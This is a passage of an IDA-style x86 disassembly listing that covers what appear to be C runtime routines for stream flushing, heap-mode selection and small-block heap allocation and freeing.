; sub_41DB25+Ej pop esi retn sub_41DB25 endp ; =============== S U B R O U T I N E ======================================= sub_41DB50 proc near ; CODE XREF: sub_41DBF0+2Dp ; sub_41DBF0+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41DB62 push esi call sub_41DBF0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41DB62: ; CODE XREF: sub_41DB50+7j push esi call sub_41DB8B test eax, eax pop ecx jz short loc_41DB72 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DB72: ; CODE XREF: sub_41DB50+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41DB87 push dword ptr [esi+10h] call sub_4238DF neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41DB87: ; CODE XREF: sub_41DB50+26j xor eax, eax pop esi retn sub_41DB50 endp ; =============== S U B R O U T I N E ======================================= sub_41DB8B proc near ; CODE XREF: sub_41B05B+1Ap ; ___:0041D223p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41DBD8 test ax, 108h jz short loc_41DBD8 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41DBD8 push edi push eax push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, edi jnz short loc_41DBD1 mov eax, [esi+0Ch] test al, 80h jz short loc_41DBD8 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41DBD8 ; --------------------------------------------------------------------------- loc_41DBD1: ; CODE XREF: sub_41DB8B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41DBD8: ; CODE XREF: sub_41DB8B+14j ; sub_41DB8B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41DB8B endp ; =============== S U B R O U T I N E ======================================= sub_41DBE7 proc near ; CODE XREF: sub_4239DBp push 1 call sub_41DBF0 pop ecx retn sub_41DBE7 endp ; =============== S U B R O U T I N E ======================================= sub_41DBF0 proc near ; CODE XREF: sub_41DB50+Ap ; sub_41DBE7+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DC5A0, esi jle short loc_41DC4E loc_41DC01: ; CODE XREF: sub_41DBF0+5Cj mov eax, dword_4DB598 mov eax, [eax+esi*4] test eax, eax jz short loc_41DC45 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41DC45 cmp [esp+0Ch+arg_0], 1 jnz short loc_41DC2B push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DC45 inc ebx jmp short loc_41DC45 ; --------------------------------------------------------------------------- loc_41DC2B: ; CODE XREF: sub_41DBF0+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41DC45 test cl, 2 jz short loc_41DC45 push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41DC45 or edi, eax loc_41DC45: ; CODE XREF: sub_41DBF0+1Bj ; sub_41DBF0+23j ... inc esi cmp esi, dword_4DC5A0 jl short loc_41DC01 loc_41DC4E: ; CODE XREF: sub_41DBF0+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41DC59 mov eax, edi loc_41DC59: ; CODE XREF: sub_41DBF0+65j pop edi pop esi pop ebx retn sub_41DBF0 endp ; =============== S U B R O U T I N E ======================================= sub_41DC5D proc near ; CODE XREF: ___:0041DDC0p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 nop call near ptr 2690E9Eh cmp word ptr [eax], 5A4Dh jnz short loc_41DC88 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41DC88 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41DC88: ; CODE XREF: sub_41DC5D+15j ; sub_41DC5D+1Cj pop esi retn sub_41DC5D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_41BB20 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h nop call near ptr 26E049Bh test eax, eax jz short loc_41DCCD cmp dword ptr [ebp-88h], 2 jnz short loc_41DCCD cmp dword ptr [ebp-94h], 5 jb short loc_41DCCD push 1 pop eax jmp loc_41DDCF ; --------------------------------------------------------------------------- loc_41DCCD: ; CODE XREF: ___:0041DCB1j ; ___:0041DCBAj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" nop call near ptr 2880000h test eax, eax jz loc_41DDBC xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41DD0F loc_41DCFC: ; CODE XREF: ___:0041DD0Dj mov al, [ecx] cmp al, 61h jl short loc_41DD0A cmp al, 7Ah jg short loc_41DD0A sub al, 20h mov [ecx], al loc_41DD0A: ; CODE XREF: ___:0041DD00j ; ___:0041DD04j inc ecx cmp [ecx], bl jnz short loc_41DCFC loc_41DD0F: ; CODE XREF: ___:0041DCFAj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41BE70 add esp, 0Ch test eax, eax jnz short loc_41DD31 lea eax, [ebp-122Ch] jmp short loc_41DD7A ; --------------------------------------------------------------------------- loc_41DD31: ; CODE XREF: ___:0041DD27j lea eax, [ebp-19Ch] push 104h push eax push ebx nop call near ptr 2680000h cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41DD65 loc_41DD52: ; CODE XREF: ___:0041DD63j mov al, [ecx] cmp al, 61h jl short loc_41DD60 cmp al, 7Ah jg short loc_41DD60 sub al, 20h mov [ecx], al loc_41DD60: ; CODE XREF: ___:0041DD56j ; ___:0041DD5Aj inc ecx cmp [ecx], bl jnz short loc_41DD52 loc_41DD65: ; CODE XREF: ___:0041DD50j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_41B900 pop ecx pop ecx loc_41DD7A: ; CODE XREF: ___:0041DD2Fj cmp eax, ebx jz short loc_41DDBC push 2Ch push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz short loc_41DDBC inc eax mov ecx, eax cmp [eax], bl jz short loc_41DDA1 loc_41DD93: ; CODE XREF: ___:0041DD9Fj cmp byte ptr [ecx], 3Bh jnz short loc_41DD9C mov [ecx], bl jmp short loc_41DD9D ; --------------------------------------------------------------------------- loc_41DD9C: ; CODE XREF: ___:0041DD96j inc ecx loc_41DD9D: ; CODE XREF: ___:0041DD9Aj cmp [ecx], bl jnz short loc_41DD93 loc_41DDA1: ; CODE XREF: ___:0041DD91j push 0Ah push ebx push eax call sub_41BBA6 add esp, 0Ch cmp eax, 2 jz short loc_41DDCF cmp eax, 3 jz short loc_41DDCF cmp eax, 1 jz short loc_41DDCF loc_41DDBC: ; CODE XREF: ___:0041DCE6j ; ___:0041DD7Cj ... lea eax, [ebp-4] push eax call sub_41DC5D cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41DDCF: ; CODE XREF: ___:0041DCC8j ; ___:0041DDB0j ... pop ebx leave retn ; --------------------------------------------------------------------------- dw 0C033h dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 472217E8h dd 0A3C08502h, 4DC904h, 93E83674h, 83FFFFFEh, 8A303F8h dd 75004DC9h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh dd 0E8187502h, 0B5Eh, 0F75C085h, 0C90435FFh, 4DE8004Dh dd 9002462Fh, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DC904h dd 21BEE890h, 0C085023Ah, 4DC8FCA3h, 0C3017500h, 4244C8Bh dd 0C8F42583h, 8300004Dh, 4DC8F825h, 16A0000h, 4DC8F0A3h dd 0D8900h, 0C7004DC9h, 4DC8E805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DE77 proc near ; CODE XREF: sub_41B0B1+17p ; sub_41B202+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DC8F8 lea ecx, [eax+eax*4] mov eax, dword_4DC8FC lea ecx, [eax+ecx*4] loc_41DE87: ; CODE XREF: sub_41DE77+26j cmp eax, ecx jnb short loc_41DE9F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41DEA1 add eax, 14h jmp short loc_41DE87 ; --------------------------------------------------------------------------- loc_41DE9F: ; CODE XREF: sub_41DE77+12j xor eax, eax locret_41DEA1: ; CODE XREF: sub_41DE77+21j retn sub_41DE77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p ; sub_41B202+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41E1C6 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41DF78 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF06 push 3Fh pop edx loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41DF5A cmp edx, 20h jnb short loc_41DF31 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41DF52 ; --------------------------------------------------------------------------- loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41DF52: ; CODE XREF: sub_41DEA2+86j ; sub_41DEA2+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41DF5D ; --------------------------------------------------------------------------- loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj mov ecx, [ebp+var_4] loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41DF78: ; CODE XREF: sub_41DEA2+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF86 push 3Fh pop edx loc_41DF86: ; CODE XREF: sub_41DEA2+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E029 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41DFAB mov ebx, esi loc_41DFAB: ; CODE XREF: sub_41DEA2+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41DFBD mov edx, esi loc_41DFBD: ; CODE XREF: sub_41DEA2+117j cmp ebx, edx jz short loc_41E024 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E00C cmp ebx, 20h jnb short loc_41DFED mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E00C ; --------------------------------------------------------------------------- loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E00C: ; CODE XREF: sub_41DEA2+128j ; sub_41DEA2+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E024: ; CODE XREF: sub_41DEA2+11Dj mov esi, [ebp+arg_4] jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E029: ; CODE XREF: sub_41DEA2+EDj mov ebx, [ebp+arg_0] loc_41E02C: ; CODE XREF: sub_41DEA2+185j cmp [ebp+var_C], 0 jnz short loc_41E03A cmp ebx, edx jz loc_41E0BB loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E0BB mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E092 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E081 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E081: ; CODE XREF: sub_41DEA2+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E0BB ; --------------------------------------------------------------------------- loc_41E092: ; CODE XREF: sub_41DEA2+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E0A8 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E0BB: ; CODE XREF: sub_41DEA2+192j ; sub_41DEA2+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41E1C6 mov eax, dword_4DC8F4 test eax, eax jz loc_41E1B8 mov ecx, dword_4DC8EC mov esi, dword_4271C0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4DC8EC mov eax, dword_4DC8F4 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DC8F4 mov ecx, dword_4DC8EC mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DC8F4 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DC8F4 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E149 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DC8F4 loc_41E149: ; CODE XREF: sub_41DEA2+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E1B8 push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4DC8F4 push dword ptr [eax+10h] push 0 push dword_4DC904 nop call near ptr 27B0000h mov eax, dword_4DC8F8 mov edx, dword_4DC8FC lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DC8F4 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41CC90 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DC8F8 cmp eax, dword_4DC8F4 jbe short loc_41E1AE sub [ebp+arg_0], 14h loc_41E1AE: ; CODE XREF: sub_41DEA2+306j mov eax, dword_4DC8FC mov dword_4DC8F0, eax loc_41E1B8: ; CODE XREF: sub_41DEA2+234j ; sub_41DEA2+2ABj mov eax, [ebp+arg_0] mov dword_4DC8EC, edi mov dword_4DC8F4, eax loc_41E1C6: ; CODE XREF: sub_41DEA2+38j ; sub_41DEA2+227j pop edi pop esi pop ebx leave retn sub_41DEA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E1CB proc near ; CODE XREF: sub_41B202+77p ; sub_41B513+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DC8F8 mov edx, dword_4DC8FC push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41E20B or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41E21B ; --------------------------------------------------------------------------- loc_41E20B: ; CODE XREF: sub_41E1CB+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41E21B: ; CODE XREF: sub_41E1CB+3Ej mov eax, dword_4DC8F0 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41E242 loc_41E229: ; CODE XREF: sub_41E1CB+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E242 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41E229 loc_41E242: ; CODE XREF: sub_41E1CB+5Cj ; sub_41E1CB+6Aj cmp ebx, [ebp+var_4] jnz short loc_41E2C0 mov ebx, edx loc_41E249: ; CODE XREF: sub_41E1CB+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E265 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E263 add ebx, 14h jmp short loc_41E249 ; --------------------------------------------------------------------------- loc_41E263: ; CODE XREF: sub_41E1CB+91j cmp ebx, eax loc_41E265: ; CODE XREF: sub_41E1CB+83j jnz short loc_41E2C0 loc_41E267: ; CODE XREF: sub_41E1CB+ADj cmp ebx, [ebp+var_4] jnb short loc_41E27D cmp dword ptr [ebx+8], 0 jnz short loc_41E27A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41E267 ; --------------------------------------------------------------------------- loc_41E27A: ; CODE XREF: sub_41E1CB+A5j cmp ebx, [ebp+var_4] loc_41E27D: ; CODE XREF: sub_41E1CB+9Fj jnz short loc_41E2A5 mov ebx, edx loc_41E281: ; CODE XREF: sub_41E1CB+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E295 cmp dword ptr [ebx+8], 0 jnz short loc_41E293 add ebx, 14h jmp short loc_41E281 ; --------------------------------------------------------------------------- loc_41E293: ; CODE XREF: sub_41E1CB+C1j cmp ebx, eax loc_41E295: ; CODE XREF: sub_41E1CB+BBj jnz short loc_41E2A5 call sub_41E4D4 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41E2B9 loc_41E2A5: ; CODE XREF: sub_41E1CB:loc_41E27Dj ; sub_41E1CB:loc_41E295j push ebx call sub_41E585 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41E2C0 loc_41E2B9: ; CODE XREF: sub_41E1CB+D8j xor eax, eax jmp loc_41E4CF ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: sub_41E1CB+7Aj ; sub_41E1CB:loc_41E265j ... mov dword_4DC8F0, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41E2E7 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E31E loc_41E2E7: ; CODE XREF: sub_41E1CB+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41E31B loc_41E304: ; CODE XREF: sub_41E1CB+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41E304 loc_41E31B: ; CODE XREF: sub_41E1CB+137j mov edx, [ebp+var_4] loc_41E31E: ; CODE XREF: sub_41E1CB+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41E347 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41E347: ; CODE XREF: sub_41E1CB+16Dj ; sub_41E1CB+183j test ecx, ecx jl short loc_41E350 shl ecx, 1 inc edi jmp short loc_41E347 ; --------------------------------------------------------------------------- loc_41E350: ; CODE XREF: sub_41E1CB+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41E36D push 3Fh pop esi loc_41E36D: ; CODE XREF: sub_41E1CB+19Dj cmp esi, edi jz loc_41E482 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E3DE cmp edi, 20h jge short loc_41E3AD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3AD: ; CODE XREF: sub_41E1CB+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3DB: ; CODE XREF: sub_41E1CB+1D6j ; sub_41E1CB+203j mov ebx, [ebp+arg_0] loc_41E3DE: ; CODE XREF: sub_41E1CB+1B0j ; sub_41E1CB+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41E48E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E47F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41E450 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E43E mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41E43E: ; CODE XREF: sub_41E1CB+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41E47F ; --------------------------------------------------------------------------- loc_41E450: ; CODE XREF: sub_41E1CB+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E469 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41E469: ; CODE XREF: sub_41E1CB+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41E47F: ; CODE XREF: sub_41E1CB+24Ej ; sub_41E1CB+283j mov ecx, [ebp+var_8] loc_41E482: ; CODE XREF: sub_41E1CB+1A4j test ecx, ecx jz short loc_41E491 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41E491 ; --------------------------------------------------------------------------- loc_41E48E: ; CODE XREF: sub_41E1CB+229j mov ecx, [ebp+var_8] loc_41E491: ; CODE XREF: sub_41E1CB+2B9j ; sub_41E1CB+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41E4C7 cmp ebx, dword_4DC8F4 jnz short loc_41E4C7 mov ecx, [ebp+var_4] cmp ecx, dword_4DC8EC jnz short loc_41E4C7 and dword_4DC8F4, 0 loc_41E4C7: ; CODE XREF: sub_41E1CB+2E0j ; sub_41E1CB+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41E4CF: ; CODE XREF: sub_41E1CB+F0j pop edi pop esi pop ebx leave retn sub_41E1CB endp ; =============== S U B R O U T I N E ======================================= sub_41E4D4 proc near ; CODE XREF: sub_41E1CB+CCp mov eax, dword_4DC8F8 mov ecx, dword_4DC8E8 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41E517 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DC8FC push edi push dword_4DC904 call near ptr 2850000h nop cmp eax, edi jz short loc_41E567 add dword_4DC8E8, 10h mov dword_4DC8FC, eax mov eax, dword_4DC8F8 loc_41E517: ; CODE XREF: sub_41E4D4+11j mov ecx, dword_4DC8FC push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DC904 lea esi, [ecx+eax*4] nop call near ptr 27C0000h cmp eax, edi mov [esi+10h], eax jz short loc_41E567 push 4 push 2000h push 100000h push edi nop call near ptr 2890763h cmp eax, edi mov [esi+0Ch], eax jnz short loc_41E56B push dword ptr [esi+10h] push edi push dword_4DC904 nop call near ptr 27B0000h loc_41E567: ; CODE XREF: sub_41E4D4+30j ; sub_41E4D4+67j xor eax, eax jmp short loc_41E582 ; --------------------------------------------------------------------------- loc_41E56B: ; CODE XREF: sub_41E4D4+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DC8F8 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41E582: ; CODE XREF: sub_41E4D4+95j pop edi pop esi retn sub_41E4D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E585 proc near ; CODE XREF: sub_41E1CB+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41E597: ; CODE XREF: sub_41E585+19j test eax, eax jl short loc_41E5A0 shl eax, 1 inc ebx jmp short loc_41E597 ; --------------------------------------------------------------------------- loc_41E5A0: ; CODE XREF: sub_41E585+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41E5B5: ; CODE XREF: sub_41E585+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41E5B5 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi nop call near ptr 2890763h test eax, eax jnz short loc_41E5E8 or eax, 0FFFFFFFFh jmp loc_41E67B ; --------------------------------------------------------------------------- loc_41E5E8: ; CODE XREF: sub_41E585+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41E62E lea eax, [edi+10h] loc_41E5F5: ; CODE XREF: sub_41E585+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41E5F5 loc_41E62E: ; CODE XREF: sub_41E585+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41E66B or [eax+4], edi loc_41E66B: ; CODE XREF: sub_41E585+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41E67B: ; CODE XREF: sub_41E585+5Ej pop edi pop esi pop ebx leave retn sub_41E585 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E680 proc near ; CODE XREF: sub_41B202+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword 